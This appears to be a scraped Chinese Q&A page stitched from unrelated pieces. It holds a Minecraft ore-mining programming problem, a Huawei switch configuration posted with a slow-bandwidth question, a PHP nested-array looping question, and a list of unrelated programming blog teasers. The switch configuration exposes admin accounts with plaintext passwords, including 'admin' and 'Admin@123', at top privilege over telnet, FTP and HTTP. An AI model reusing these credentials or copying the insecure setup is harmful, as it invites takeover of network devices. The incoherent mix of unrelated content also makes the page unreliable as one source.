It is guaranteed 'v' is at the center of this square region, and there is only one 'v' in each map. '0'-'9' in the map shows a stone which requires the digit amount of electricity. For example, '9' means there is a stone at that position which requires 9 units of electricity to be mined. '@' shows a block with a precious ore. 'X' shows a block with an obstacle. Your drill is not powerful enough to mine this obstacle. A block can be mined only after at least one of its adjacent blocks has already been mined. The block where the drill is in has already been mined. Two blocks are adjacent if they share an edge. Your task is to tell the least units of electricity required to mine all the ores in a given map. Note that, in Minecraft, ores are generated following specific rules. Generally, ore blocks appear together, they are generated as ore clusters. *@* @@@ *@* The previous picture is a basic ore cluster, '*' can be any block. *@@* @@@@ *@@* The previous picture shows two ore clusters stacking together. Note that Uranium ore being extremely precious does not appear as ore clusters. They can appear in any shape. However, there will not be more than 3 Uranium ores in a single map. Input There are multiple cases. The first line contains one integer T which is the number of test cases. For each case, the first line contains an integer n( 5 ≤ n ≤ 9, n is an odd number). For the next n lines, each line contains n characters showing the map. Note that, the map will contain only complete ore clusters. There will not be more than 3 Uranium ores on the map. Output One integer for each test case indicating the least units of electricity required to mine all ores. In case, it is impossible to mine all the ores, just output -1 instead. Sample Input 3 5 11111 X1111 XXv11 @X111 1X111 5 @100@ 32@00 0@v@0 00@00 0000@ 7 0@00000 @@@0000 0@03000 002v100 0005000 0000000 0000000 Sample Output -1 1 1

华为交换机做过策略路由后网速慢,我是30m专线,但是测速只有上传10k,下载300k

dis cur # !Software Version V100R005C01SPC100 sysname Quidway # dns server 202.102.224.68 dns server 114.114.114.114 # vlan batch 2 to 11 50 200 400 # dhcp enable # http server load flash:/S5700EI-V100R005C01SPC100.web.zip # acl number 2001 rule 5 permit source 192.168.119.199 0 rule 10 permit source 192.168.111.200 0 rule 15 permit source 192.168.112.200 0 rule 20 permit source 192.168.114.200 0 # traffic classifier f1 operator and if-match acl 2001 # traffic behavior b1 ---- More ----[42D [42D redirect ip-nexthop 192.168.5.254 car cir 6000 pir 10000 cbs 750000 pbs 1250000 green pass yellow pass red discard # traffic policy p1 classifier f1 behavior b1 # vlan 3 traffic-policy p1 inbound vlan 4 traffic-policy p1 inbound vlan 6 traffic-policy p1 inbound vlan 11 traffic-policy p1 inbound vlan 50 description lvyoumeiti # aaa authentication-scheme default authorization-scheme default accounting-scheme default domain default domain default_admin ---- More ----[42D [42D local-user admin password simple admin local-user admin privilege level 15 local-user admin service-type telnet http local-user quidway password simple Admin@123 local-user quidway privilege level 15 local-user quidway ftp-directory flash: local-user quidway service-type telnet terminal ssh ftp web http # interface Vlanif2 ip address 192.168.110.1 255.255.255.0 # interface Vlanif3 ip address 192.168.111.1 255.255.255.0 # interface Vlanif4 ip address 192.168.112.1 255.255.255.0 # interface Vlanif5 ip address 192.168.113.1 255.255.255.0 # interface Vlanif6 ip address 192.168.114.1 255.255.255.0 # ---- More ----[42D [42Dinterface Vlanif7 ip address 192.168.115.1 255.255.255.0 # interface Vlanif8 ip address 192.168.116.1 255.255.255.0 # interface Vlanif9 ip address 192.168.117.1 255.255.255.0 # interface Vlanif10 ip address 192.168.118.1 255.255.255.0 # interface Vlanif11 ip address 192.168.119.1 255.255.255.0 # interface Vlanif50 description lvyoumeiti ip address 192.168.5.253 255.255.255.0 # interface Vlanif400 ip address 192.168.4.1 255.255.255.0 # interface MEth0/0/1 ---- More ----[42D [42D# interface Eth-Trunk1 port link-type trunk port trunk allow-pass vlan 2 mode lacp-static bpdu enable # interface GigabitEthernet0/0/1 port link-type access port default vlan 2 # interface GigabitEthernet0/0/2 port link-type access port default vlan 2 # interface GigabitEthernet0/0/3 port link-type access port default vlan 2 # interface GigabitEthernet0/0/4 port link-type access port default vlan 2 # ---- More ----[42D [42Dinterface GigabitEthernet0/0/5 port link-type access port default vlan 2 # interface GigabitEthernet0/0/6 port link-type access port default vlan 2 # interface GigabitEthernet0/0/7 port link-type access port default vlan 2 # interface GigabitEthernet0/0/8 port link-type access port default vlan 2 # interface GigabitEthernet0/0/9 port link-type access port default vlan 2 # interface GigabitEthernet0/0/10 port link-type access port default vlan 2 ---- More ----[42D [42D# interface GigabitEthernet0/0/11 port link-type access port default vlan 2 # interface GigabitEthernet0/0/12 port link-type access port default vlan 2 # interface GigabitEthernet0/0/13 port link-type access port default vlan 2 # interface GigabitEthernet0/0/14 port link-type access port default vlan 2 # interface GigabitEthernet0/0/15 port link-type access port default vlan 2 # interface GigabitEthernet0/0/16 port link-type access ---- More ----[42D [42D port default vlan 2 # interface GigabitEthernet0/0/17 port link-type access port default vlan 2 # interface GigabitEthernet0/0/18 port link-type access port default vlan 2 # interface GigabitEthernet0/0/19 port link-type access port default vlan 4 # interface GigabitEthernet0/0/20 port link-type access port default vlan 6 # interface GigabitEthernet0/0/21 port link-type access port default vlan 7 # interface GigabitEthernet0/0/22 ---- More ----[42D [42D port link-type access port default vlan 3 # interface GigabitEthernet0/0/23 port link-type access port default vlan 2 # interface GigabitEthernet0/0/24 port link-type access port default vlan 2 # interface GigabitEthernet0/0/25 port link-type access port default vlan 5 # interface GigabitEthernet0/0/26 port link-type access port default vlan 2 # interface GigabitEthernet0/0/27 port link-type access port default vlan 9 # ---- More ----[42D [42Dinterface GigabitEthernet0/0/28 port link-type access port default vlan 2 # interface GigabitEthernet0/0/29 port link-type access port default vlan 10 # interface GigabitEthernet0/0/30 port link-type access port default vlan 2 # interface GigabitEthernet0/0/31 eth-trunk 1 # interface GigabitEthernet0/0/32 port link-type access port default vlan 2 # interface GigabitEthernet0/0/33 port link-type access port default vlan 11 # ---- More ----[42D [42Dinterface GigabitEthernet0/0/34 port link-type access port default vlan 2 # interface GigabitEthernet0/0/35 port link-type access port default vlan 2 # interface GigabitEthernet0/0/36 port link-type access port default vlan 8 # interface GigabitEthernet0/0/37 port link-type access port default vlan 2 # interface GigabitEthernet0/0/38 port link-type access port default vlan 2 # interface GigabitEthernet0/0/39 port link-type access port default vlan 2 ---- More ----[42D [42D# interface GigabitEthernet0/0/40 port link-type access port default vlan 2 # interface GigabitEthernet0/0/41 port link-type access port default vlan 2 # interface GigabitEthernet0/0/42 port link-type access port default vlan 2 # interface GigabitEthernet0/0/43 eth-trunk 1 # interface GigabitEthernet0/0/44 port link-type access port default vlan 6 # interface GigabitEthernet0/0/45 port link-type access port default vlan 2 ---- More ----[42D [42D# interface GigabitEthernet0/0/46 port link-type access port default vlan 2 # interface GigabitEthernet0/0/47 port link-type access port default vlan 2 # interface GigabitEthernet0/0/48 port link-type access port default vlan 50 # interface NULL0 # ip route-static 0.0.0.0 0.0.0.0 192.168.110.254 ip route-static 41.0.0.0 255.0.0.0 192.168.110.189 ip route-static 172.18.0.0 255.255.0.0 192.168.110.150 ip route-static 192.0.0.0 255.0.0.0 192.168.110.189 ip route-static 192.168.3.0 255.255.255.0 192.168.4.0 ip route-static 192.168.5.0 255.255.255.0 192.168.5.254 # snmp-agent ---- More ----[42D [42D snmp-agent local-engineid 000007DB7F00000100002763 snmp-agent sys-info version v3 # user-interface con 0 idle-timeout 0 0 user-interface vty 0 4 authentication-mode aaa # return <Quidway>

循环遍历每个多维数组并回显一个数组

<div class="post-text" itemprop="text"> <p>Multi dimensional array:</p> <pre><code>Array ( [CalculateOverheadDoorSpringsResult] =&gt; Array ( [SpringForce] =&gt; Array ( [InputData] =&gt; Array ( [CalculationMode] =&gt; Expert [CalculationVersion] =&gt; V100_ProofOfConceptVersion [TrackSystemCode] =&gt; 1 [TrackSystemTypeDescription] =&gt; Normal Lift [DoorWidth_mm] =&gt; 5000 [DoorHeight_mm] =&gt; 5000 [LiftHeight_mm] =&gt; 0 [TrackPitch_deg] =&gt; 0 [DoorWeight_kg] =&gt; 300 [VerticalComponentWeight_kg] =&gt; 33.33 [BottomSectionHeight_mm] =&gt; 610 [TensionSet] =&gt; false [SpringCount] =&gt; 2 [ShaftConnectorCount] =&gt; 1 [ShaftDiameterCode] =&gt; 1 [ShaftDiameterDescription] =&gt; Shaft 1" (25.4 mm) [SurfaceFinishCode] =&gt; 3 [SurfaceFinishDescription] =&gt; Powder coated [CycleCount] =&gt; 20000 [SolutionTypeCode] =&gt; 1 [SolutionTypeDescription] =&gt; Simplex Identical [OptimalSolutionOnly] =&gt; false [DrumSpecification] =&gt; Automatic [DrumFlexiForceCode] =&gt; FFNL18 [DrumCustomCode] =&gt; [DrumCustomFlatMomentArm_mm] =&gt; 0 [DrumCustomHighMomentArm_mm] =&gt; 0 [DrumCustomFlatWindings] =&gt; 0 [DrumCustomSipralWindings] =&gt; 0 [DrumCustomSafetyWindings] =&gt; 0 [EnforceFlexiForceCableRuling] =&gt; True [InputDataValid] =&gt; true ) [OutputData] =&gt; Array ( [CalculationVersionBaseData] =&gt; V1.3.113 [CalculationVersionSolver] =&gt; V1.0.1 [TorqueTotal_Nmm_turn] =&gt; 17123 [Turns] =&gt; 12.8 [EnforceFlexiForceCableRuling] =&gt; True [CableDiameter_mm] =&gt; 4 ) [Solutions] =&gt; Array ( [Solution] =&gt; Array ( [0] =&gt; Array ( [SolutionID] =&gt; 0604d089-e8cd-47e4-b331-e74373e23861 [SpringCount] =&gt; 2 [SpringWeightTotal_kg] =&gt; 69.77 [ActualCycleCount] =&gt; 35900 [SpringUnit] =&gt; Array ( [0] =&gt; Array ( [Type] =&gt; Simplex [Qty] =&gt; 1 [Description] =&gt; 1 x Ass. Spring LHW 09,5x95x1810mm Pwdr. Plugged [SpringWeightUnitTotal_kg] =&gt; 34.89 [Spring] =&gt; Array ( [Wire_mm] =&gt; 9.5 [Length_mm] =&gt; 1810 [Diameter_mm] =&gt; 95.25 [Direction] =&gt; L [ArticleId] =&gt; VL95-3-1810PP [SpringWeight_kg] =&gt; 34.89 ) ) [1] =&gt; Array ( [Type] =&gt; Simplex [Qty] =&gt; 1 [Description] =&gt; 1 x Ass. Spring RHW 09,5x95x1810mm Pwdr. Plugged [SpringWeightUnitTotal_kg] =&gt; 34.89 [Spring] =&gt; Array ( [Wire_mm] =&gt; 9.5 [Length_mm] =&gt; 1810 [Diameter_mm] =&gt; 95.25 [Direction] =&gt; R [ArticleId] =&gt; VR95-3-1810PP [SpringWeight_kg] =&gt; 34.89 ) ) ) ) [1] =&gt; Array ( [SolutionID] =&gt; f495d32f-567e-41a9-ad10-b5b35e1ba20f [SpringCount] =&gt; 2 [SpringWeightTotal_kg] =&gt; 69.71 [ActualCycleCount] =&gt; 35000 [SpringUnit] =&gt; Array ( [0] =&gt; Array ( [Type] =&gt; Simplex [Qty] =&gt; 1 [Description] =&gt; 1 x Ass. Spring LHW 09,5x152x1170mm Pwdr. Plugged [SpringWeightUnitTotal_kg] =&gt; 34.86 [Spring] =&gt; Array ( [Wire_mm] =&gt; 9.5 [Length_mm] =&gt; 1170 [Diameter_mm] =&gt; 152.4 [Direction] =&gt; L [ArticleId] =&gt; VL95-6-1170PP [SpringWeight_kg] =&gt; 34.86 ) ) [1] =&gt; Array ( [Type] =&gt; Simplex [Qty] =&gt; 1 [Description] =&gt; 1 x Ass. Spring RHW 09,5x152x1170mm Pwdr. Plugged [SpringWeightUnitTotal_kg] =&gt; 34.86 [Spring] =&gt; Array ( [Wire_mm] =&gt; 9.5 [Length_mm] =&gt; 1170 [Diameter_mm] =&gt; 152.4 [Direction] =&gt; R [ArticleId] =&gt; VR95-6-1170PP [SpringWeight_kg] =&gt; 34.86 ) ) ) ) [2] =&gt; Array ( [SolutionID] =&gt; 6b97f4eb-1fa2-4885-a93d-63f24d108f1f [SpringCount] =&gt; 2 [SpringWeightTotal_kg] =&gt; 93.74 [ActualCycleCount] =&gt; 98400 [SpringUnit] =&gt; Array ( [0] =&gt; Array ( [Type] =&gt; Simplex [Qty] =&gt; 1 [Description] =&gt; 1 x Ass. Spring LHW 10,0x152x1490mm Pwdr. Plugged [SpringWeightUnitTotal_kg] =&gt; 46.87 [Spring] =&gt; Array ( [Wire_mm] =&gt; 10 [Length_mm] =&gt; 1490 [Diameter_mm] =&gt; 152.4 [Direction] =&gt; L [ArticleId] =&gt; VL100-6-1490PP [SpringWeight_kg] =&gt; 46.87 ) ) [1] =&gt; Array ( [Type] =&gt; Simplex [Qty] =&gt; 1 [Description] =&gt; 1 x Ass. Spring RHW 10,0x152x1490mm Pwdr. Plugged [SpringWeightUnitTotal_kg] =&gt; 46.87 [Spring] =&gt; Array ( [Wire_mm] =&gt; 10 [Length_mm] =&gt; 1490 [Diameter_mm] =&gt; 152.4 [Direction] =&gt; R [ArticleId] =&gt; VR100-6-1490PP [SpringWeight_kg] =&gt; 46.87 ) ) ) ) ) [!SolutionsFound] =&gt; true [!SolutionCount] =&gt; 3 ) [!XMLVersion] =&gt; 1.0 [!CreateTimeStamp] =&gt; 2017-09-05T15:27:35Z [!XMLID] =&gt; 0a1116c0-e140-47f2-acc5-6f8322d3d5f6 [!SystemError] =&gt; false [!SystemErrorMessage] =&gt; ) ) ) </code></pre> <p>Need to loop through each <code>[Solutions] =&gt; Array</code>, <code>[OutputData] =&gt; Array</code> and to show results in a simple table, almost like in the picture:</p> <p><a href="https://i.stack.imgur.com/X0PPh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/X0PPh.png" alt="enter image description here"></a></p> <p>My question is how too loop through multi dimensional array <code>[CalculateOverheadDoorSpringsResult]</code> and echo only the solutions and outputdata arrays? Solutions will always alternate, it ca be 1 solution, 2, 3 or even more.</p> <p>I was thinking like something, but at least it is a start:</p> <pre><code>&lt;?php $array = $result['CalculateOverheadDoorSpringsResult']; foreach ($array as $item) { ?&gt; &lt;tr&gt; &lt;td&gt;&lt;?php echo $item['InputData']['DrumFlexiForceCode'] . PHP_EOL; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $item['OutputData']['Turns'] . PHP_EOL; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $item['InputData']['SurfaceFinishDescription'] . PHP_EOL; ?&gt;&lt;/td&gt; &lt;td&gt;&lt;?php echo $item['InputData']['CycleCount'] . PHP_EOL; ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;?php } ?&gt; </code></pre> </div>

在中国程序员是青春饭吗?

今年,我也32了 ,为了不给大家误导,咨询了猎头、圈内好友,以及年过35岁的几位老程序员……舍了老脸去揭人家伤疤……希望能给大家以帮助,记得帮我点赞哦。 目录: 你以为的人生 一次又一次的伤害 猎头界的真相 如何应对互联网行业的「中年危机」 一、你以为的人生 刚入行时,拿着傲人的工资,想着好好干,以为我们的人生是这样的: 等真到了那一天,你会发现,你的人生很可能是这样的: ...

程序员请照顾好自己,周末病魔差点一套带走我。

程序员在一个周末的时间,得了重病,差点当场去世,还好及时挽救回来了。

Java基础知识面试题(2020最新版)

文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...

技术大佬:我去,你写的 switch 语句也太老土了吧

昨天早上通过远程的方式 review 了两名新来同事的代码,大部分代码都写得很漂亮,严谨的同时注释也很到位,这令我非常满意。但当我看到他们当中有一个人写的 switch 语句时,还是忍不住破口大骂:“我擦,小王,你丫写的 switch 语句也太老土了吧!” 来看看小王写的代码吧,看完不要骂我装逼啊。 private static String createPlayer(PlayerTypes p...

和黑客斗争的 6 天!

互联网公司工作,很难避免不和黑客们打交道,我呆过的两家互联网公司,几乎每月每天每分钟都有黑客在公司网站上扫描。有的是寻找 Sql 注入的缺口,有的是寻找线上服务器可能存在的漏洞,大部分都...

Intellij IDEA 实用插件安利

1. 前言从2020 年 JVM 生态报告解读 可以看出Intellij IDEA 目前已经稳坐 Java IDE 头把交椅。而且统计得出付费用户已经超过了八成(国外统计)。IDEA 的...

女程序员,为什么比男程序员少???

昨天看到一档综艺节目,讨论了两个话题:(1)中国学生的数学成绩,平均下来看,会比国外好?为什么?(2)男生的数学成绩,平均下来看,会比女生好?为什么?同时,我又联想到了一个技术圈经常讨...

总结了 150 余个神奇网站,你不来瞅瞅吗?

原博客再更新,可能就没了,之后将持续更新本篇博客。

副业收入是我做程序媛的3倍,工作外的B面人生是怎样的?

提到“程序员”,多数人脑海里首先想到的大约是:为人木讷、薪水超高、工作枯燥…… 然而,当离开工作岗位,撕去层层标签,脱下“程序员”这身外套,有的人生动又有趣,马上展现出了完全不同的A/B面人生! 不论是简单的爱好,还是正经的副业,他们都干得同样出色。偶尔,还能和程序员的特质结合,产生奇妙的“化学反应”。 @Charlotte:平日素颜示人,周末美妆博主 大家都以为程序媛也个个不修边幅,但我们也许...

MySQL数据库面试题(2020最新版)

文章目录数据库基础知识为什么要使用数据库什么是SQL?什么是MySQL?数据库三大范式是什么mysql有关权限的表都有哪几个MySQL的binlog有有几种录入格式?分别有什么区别?数据类型mysql有哪些数据类型引擎MySQL存储引擎MyISAM与InnoDB区别MyISAM索引与InnoDB索引的区别?InnoDB引擎的4大特性存储引擎选择索引什么是索引?索引有哪些优缺点?索引使用场景(重点)...

如果你是老板,你会不会踢了这样的员工?

有个好朋友ZS,是技术总监,昨天问我:“有一个老下属,跟了我很多年,做事勤勤恳恳,主动性也很好。但随着公司的发展,他的进步速度,跟不上团队的步伐了,有点...

我入职阿里后,才知道原来简历这么写

私下里,有不少读者问我:“二哥,如何才能写出一份专业的技术简历呢?我总感觉自己写的简历太烂了,所以投了无数份,都石沉大海了。”说实话,我自己好多年没有写过简历了,但我认识的一个同行,他在阿里,给我说了一些他当年写简历的方法论,我感觉太牛逼了,实在是忍不住,就分享了出来,希望能够帮助到你。 01、简历的本质 作为简历的撰写者,你必须要搞清楚一点,简历的本质是什么,它就是为了来销售你的价值主张的。往深...

魂迁光刻,梦绕芯片,中芯国际终获ASML大型光刻机

据羊城晚报报道,近日中芯国际从荷兰进口的一台大型光刻机,顺利通过深圳出口加工区场站两道闸口进入厂区,中芯国际发表公告称该光刻机并非此前盛传的EUV光刻机,主要用于企业复工复产后的生产线扩容。 我们知道EUV主要用于7nm及以下制程的芯片制造,光刻机作为集成电路制造中最关键的设备,对芯片制作工艺有着决定性的影响,被誉为“超精密制造技术皇冠上的明珠”,根据之前中芯国际的公报,目...

优雅的替换if-else语句

场景 日常开发,if-else语句写的不少吧??当逻辑分支非常多的时候,if-else套了一层又一层,虽然业务功能倒是实现了,但是看起来是真的很不优雅,尤其是对于我这种有强迫症的程序"猿",看到这么多if-else,脑袋瓜子就嗡嗡的,总想着解锁新姿势:干掉过多的if-else!!!本文将介绍三板斧手段: 优先判断条件,条件不满足的,逻辑及时中断返回; 采用策略模式+工厂模式; 结合注解,锦...

离职半年了,老东家又发 offer,回不回?

有小伙伴问松哥这个问题,他在上海某公司,在离职了几个月后,前公司的领导联系到他,希望他能够返聘回去,他很纠结要不要回去? 俗话说好马不吃回头草,但是这个小伙伴既然感到纠结了,我觉得至少说明了两个问题:1.曾经的公司还不错;2.现在的日子也不是很如意。否则应该就不会纠结了。 老实说,松哥之前也有过类似的经历,今天就来和小伙伴们聊聊回头草到底吃不吃。 首先一个基本观点,就是离职了也没必要和老东家弄的苦...

2020阿里全球数学大赛:3万名高手、4道题、2天2夜未交卷

阿里巴巴全球数学竞赛( Alibaba Global Mathematics Competition)由马云发起,由中国科学技术协会、阿里巴巴基金会、阿里巴巴达摩院共同举办。大赛不设报名门槛,全世界爱好数学的人都可参与,不论是否出身数学专业、是否投身数学研究。 2020年阿里巴巴达摩院邀请北京大学、剑桥大学、浙江大学等高校的顶尖数学教师组建了出题组。中科院院士、美国艺术与科学院院士、北京国际数学...

为什么你不想学习?只想玩?人是如何一步一步废掉的

不知道是不是只有我这样子,还是你们也有过类似的经历。 上学的时候总有很多光辉历史,学年名列前茅,或者单科目大佬,但是虽然慢慢地长大了,你开始懈怠了,开始废掉了。。。 什么?你说不知道具体的情况是怎么样的? 我来告诉你: 你常常潜意识里或者心理觉得,自己真正的生活或者奋斗还没有开始。总是幻想着自己还拥有大把时间,还有无限的可能,自己还能逆风翻盘,只不是自己还没开始罢了,自己以后肯定会变得特别厉害...

男生更看重女生的身材脸蛋,还是思想?

往往,我们看不进去大段大段的逻辑。深刻的哲理,往往短而精悍,一阵见血。问:产品经理挺漂亮的,有点心动,但不知道合不合得来。男生更看重女生的身材脸蛋,还是...

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试:第十六章:Java中级开发

HashMap底层实现原理,红黑树,B+树,B树的结构原理 Spring的AOP和IOC是什么?它们常见的使用场景有哪些?Spring事务,事务的属性,传播行为,数据库隔离级别 Spring和SpringMVC,MyBatis以及SpringBoot的注解分别有哪些?SpringMVC的工作原理,SpringBoot框架的优点,MyBatis框架的优点 SpringCould组件有哪些,他们...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

Python爬虫,高清美图我全都要(彼岸桌面壁纸)

爬取彼岸桌面网站较为简单,用到了requests、lxml、Beautiful Soup4

差点跪了...

最近微信又搞出了一个大利器,甚至都上了热搜,当然消息最敏捷的自媒体人,纷纷都开通了自己的视频号。01 视频号是什么呢?视频号是微信体系内的短视频,它不同...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

Vue回炉重造之router路由(更新中)

你好,我是Vam的金豆之路,可以叫我豆哥。2019年年度博客之星、技术领域博客专家。主要领域:前端开发。我的微信是 maomin9761,有什么疑问可以加我哦,自己创建了一个微信技术交流群,可以加我邀请你一起交流学习。最后自己也创建了一个微信公众号,里面的文章是我自己精挑细选的文章,主要介绍各种IT新技术。欢迎关注哦,微信搜索:臻美IT,等你来。 欢迎阅读本博文,本博文主要讲述【】,文字通...

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

Java岗开发3年,公司临时抽查算法,离职后这几题我记一辈子

前几天我们公司做了一件蠢事,非常非常愚蠢的事情。我原以为从学校出来之后,除了找工作有测试外,不会有任何与考试有关的事儿。 但是,天有不测风云,公司技术总监、人事总监两位大佬突然降临到我们事业线,叫上我老大,给我们组织了一场别开生面的“考试”。 那是一个风和日丽的下午,我翘着二郎腿,左手端着一杯卡布奇诺,右手抓着我的罗技鼠标,滚动着轮轴,穿梭在头条热点之间。 “淡黄的长裙~蓬松的头发...

大胆预测下未来5年的Web开发

在2019年的ReactiveConf 上,《Elm in Action》的作者Richard Feldman对未来5年Web开发的发展做了预测,很有意思,分享给大家。如果你有机会从头...

立即提问
相关内容推荐